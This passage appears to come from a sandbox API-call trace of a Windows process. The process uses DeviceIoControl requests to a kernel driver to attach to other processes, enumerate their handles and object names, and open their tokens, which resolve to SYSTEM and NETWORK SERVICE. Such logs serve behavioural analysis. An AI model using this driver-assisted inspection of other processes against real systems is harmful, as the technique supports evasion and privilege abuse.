ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.291] CloseHandle (hObject=0xc8) returned 1 [0094.291] CloseHandle (hObject=0xc0) returned 1 [0094.291] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0094.291] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.291] PsAcquireProcessExitSynchronization () returned 0x0 [0094.291] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0) [0094.291] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0094.291] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.291] PsReleaseProcessExitSynchronization () returned 0x2 [0094.291] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0094.291] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.291] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0094.291] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.291] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.291] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.291] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.291] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.291] PsAcquireProcessExitSynchronization () returned 0x0 [0094.291] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0) [0094.292] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0094.292] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.292] PsReleaseProcessExitSynchronization () returned 0x2 [0094.292] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0094.292] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.292] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0094.292] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.292] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.292] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0094.292] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.292] PsAcquireProcessExitSynchronization () returned 0x0 [0094.292] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0) [0094.292] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0094.292] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.292] PsReleaseProcessExitSynchronization () returned 0x2 [0094.292] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0094.292] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.292] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0094.292] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.292] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.292] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.292] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0094.292] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.292] PsAcquireProcessExitSynchronization () returned 0x0 [0094.292] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0) [0094.292] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0094.292] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.292] PsReleaseProcessExitSynchronization () returned 0x2 [0094.292] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0094.292] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.292] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0094.292] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.292] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.293] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0094.293] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.293] PsAcquireProcessExitSynchronization () returned 0x0 [0094.293] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880052335d0) [0094.293] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0094.293] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.293] PsReleaseProcessExitSynchronization () returned 0x2 [0094.293] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x34 [0094.293] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.293] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0094.293] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.293] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.293] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0094.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.293] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0094.293] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff8000076c) returned 0x0 [0094.293] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xaf [0094.293] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000076c, DesiredAccess=0x8, TokenHandle=0xfffffa800396c8c0 | out: TokenHandle=0xfffffa800396c8c0*=0xc8) returned 0x0 [0094.293] ZwClose (Handle=0xffffffff8000076c) returned 0x0 [0094.293] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.293] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.293] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.295] CloseHandle (hObject=0xc8) returned 1 [0094.295] CloseHandle (hObject=0xc0) returned 1 [0094.295] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0094.295] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.295] PsAcquireProcessExitSynchronization () returned 0x0 [0094.295] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.295] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0094.295] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.295] PsReleaseProcessExitSynchronization () returned 0x2 [0094.295] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.295] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.295] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0094.295] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.295] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.295] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.295] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.295] PsAcquireProcessExitSynchronization () returned 0x0 [0094.295] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.295] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0094.295] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.295] PsReleaseProcessExitSynchronization () returned 0x2 [0094.295] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.295] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.295] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0094.295] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.295] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.295] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0094.296] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.296] PsAcquireProcessExitSynchronization () returned 0x0 [0094.296] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.296] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0094.296] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.296] PsReleaseProcessExitSynchronization () returned 0x2 [0094.296] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.296] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.296] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x7 [0094.296] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.296] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.296] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0094.296] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.296] PsAcquireProcessExitSynchronization () returned 0x0 [0094.296] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.296] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0094.296] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.296] PsReleaseProcessExitSynchronization () returned 0x2 [0094.296] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.296] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.296] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0094.296] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.296] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.296] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0094.296] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.296] PsAcquireProcessExitSynchronization () returned 0x0 [0094.296] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.296] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0094.296] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.296] PsReleaseProcessExitSynchronization () returned 0x2 [0094.296] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.297] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.297] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0094.297] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.297] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.297] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0094.297] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.297] PsAcquireProcessExitSynchronization () returned 0x0 [0094.297] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.297] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0094.297] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.297] PsReleaseProcessExitSynchronization () returned 0x2 [0094.297] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.297] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.297] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0094.297] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.297] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.297] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0094.297] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.297] PsAcquireProcessExitSynchronization () returned 0x0 [0094.297] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.297] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0094.297] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.297] PsReleaseProcessExitSynchronization () returned 0x2 [0094.297] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.297] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.297] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0094.297] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.297] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.297] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0094.298] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.298] PsAcquireProcessExitSynchronization () returned 0x0 [0094.298] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.298] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0094.298] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.298] PsReleaseProcessExitSynchronization () returned 0x2 [0094.298] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.298] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.298] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0094.298] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.298] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.298] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0094.298] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.298] PsAcquireProcessExitSynchronization () returned 0x0 [0094.298] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880052335d0) [0094.298] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0094.298] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.298] PsReleaseProcessExitSynchronization () returned 0x2 [0094.298] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0094.298] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.298] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0094.298] IofCompleteRequest (Irp=0xfffffa80021311e0, PriorityBoost=0) [0094.298] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.298] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, 